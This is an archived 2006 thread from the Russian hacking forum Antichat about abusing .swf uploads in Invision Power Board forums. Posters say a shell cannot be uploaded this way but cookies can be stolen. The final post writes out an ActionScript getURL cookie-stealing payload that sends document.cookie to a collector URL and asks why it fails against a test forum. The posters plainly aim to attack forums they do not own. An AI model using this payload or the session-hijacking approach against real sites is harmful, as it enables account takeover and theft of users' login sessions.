ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Загрузка файлов с розширение .swf, в форуме Invision Power Board
  #1  
Старый 28.11.2006, 19:39
Аватар для N0n$e№Z
N0n$e№Z
Новичок
Регистрация: 27.11.2006
Сообщений: 17
Провел на форуме:
113057

Репутация: 13
По умолчанию Загрузка файлов с розширение .swf, в форуме Invision Power Board

Я бы хотел узнать,там на форуме разрешина заливка файлов .swf а ведь во флешке можно скрипты прописать!Есть возможность залить шелл??Если я сказал тупость просьба не ставить минус пжлс!!

Последний раз редактировалось _-[A.M.D]HiM@S-_; 29.11.2006 в 02:33..
 
Ответить с цитированием

  #2  
Старый 28.11.2006, 20:02
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Флеш выполняется в браузере на стороне клиента.
 
Ответить с цитированием

  #3  
Старый 09.12.2006, 16:49
Аватар для ReanimatoR
ReanimatoR
Участник форума
Регистрация: 27.08.2006
Сообщений: 223
Провел на форуме:
2154209

Репутация: 341
Отправить сообщение для ReanimatoR с помощью ICQ
По умолчанию

есть возможность только стырить куки=)
 
Ответить с цитированием

  #4  
Старый 09.12.2006, 16:58
Аватар для Gh0s7
Gh0s7
Участник форума
Регистрация: 23.11.2006
Сообщений: 226
Провел на форуме:
1045663

Репутация: 864
По умолчанию

В свф шелл ты не зальешь

розширение (С)

ггг.
 
Ответить с цитированием

  #5  
Старый 09.12.2006, 17:16
Аватар для slider
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559

Репутация: 2947


По умолчанию

ИМХО ... сможеш сперетьь только куки!
 
Ответить с цитированием

  #6  
Старый 10.12.2006, 21:10
Аватар для Zeratull
Zeratull
Познающий
Регистрация: 22.11.2006
Сообщений: 56
Провел на форуме:
125168

Репутация: 20
Отправить сообщение для Zeratull с помощью ICQ
По умолчанию

Цитата:
Сообщение от N0n$e№Z  
Я бы хотел узнать,там на форуме разрешина заливка файлов .swf а ведь во флешке можно скрипты прописать!Есть возможность залить шелл??Если я сказал тупость просьба не ставить минус пжлс!!
вроде читал на ибресурс что через swf большая дыра открывается, поэтому его обычно и не разрешают на форумах.

сейчас вот хотел найти эту тему где читал, что то не нашёл
 
Ответить с цитированием

  #7  
Старый 10.12.2006, 21:55
Аватар для Sn@k3
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме:
5151669

Репутация: 1198


Отправить сообщение для Sn@k3 с помощью ICQ
По умолчанию

Цитата:
Сообщение от slider  
ИМХО ... сможеш сперетьь только куки!

хорошо бы)))

Автору: имея булочки, мона залить шеллу
 
Ответить с цитированием

  #8  
Старый 11.12.2006, 07:57
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Возможно чтение произвольных файлов через Action Script.
 
Ответить с цитированием

  #9  
Старый 11.12.2006, 07:58
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Читать тут.
http://www.flasher.ru/
 
Ответить с цитированием

  #10  
Старый 27.12.2006, 02:34
Аватар для Thanat0z
Thanat0z
Постоянный
Регистрация: 06.12.2006
Сообщений: 762
Провел на форуме:
5352530

Репутация: 2062


По умолчанию

кстати, на испутыемом форуме не могу залить аватар в флехе, на локалхосте такой же форум, и всё разрешено и тоже не грузит.
Загружаю через инет - на испытуемый залилось, но не играет, а на локалхост вылетает апач

Кстати, какую правильно строку надо?

getURL("javascript:document.src=\"http://localhost/s/s.gif?\"+document.cookie")

не работает, в ИЕ выскакиваеи попапом.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Взлом форумов IPB (Invision Power Board) < 2.0.4 Ice_Fro$T Форумы 19 18.11.2006 09:19
Убираем "звонилки" из Invision Power Board v2.1.5 Dimazzz Чужие Статьи 1 15.09.2006 02:16
Уязвимости в Invision Power Board(U) v1.3 PF1. Вопрос. dukalis(AwP) Форумы 14 19.04.2006 19:40
Сколько полей в таблице ibf_topics в форуме Invision Power Board 1.3.1? LittleLamer Форумы 2 29.01.2005 03:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ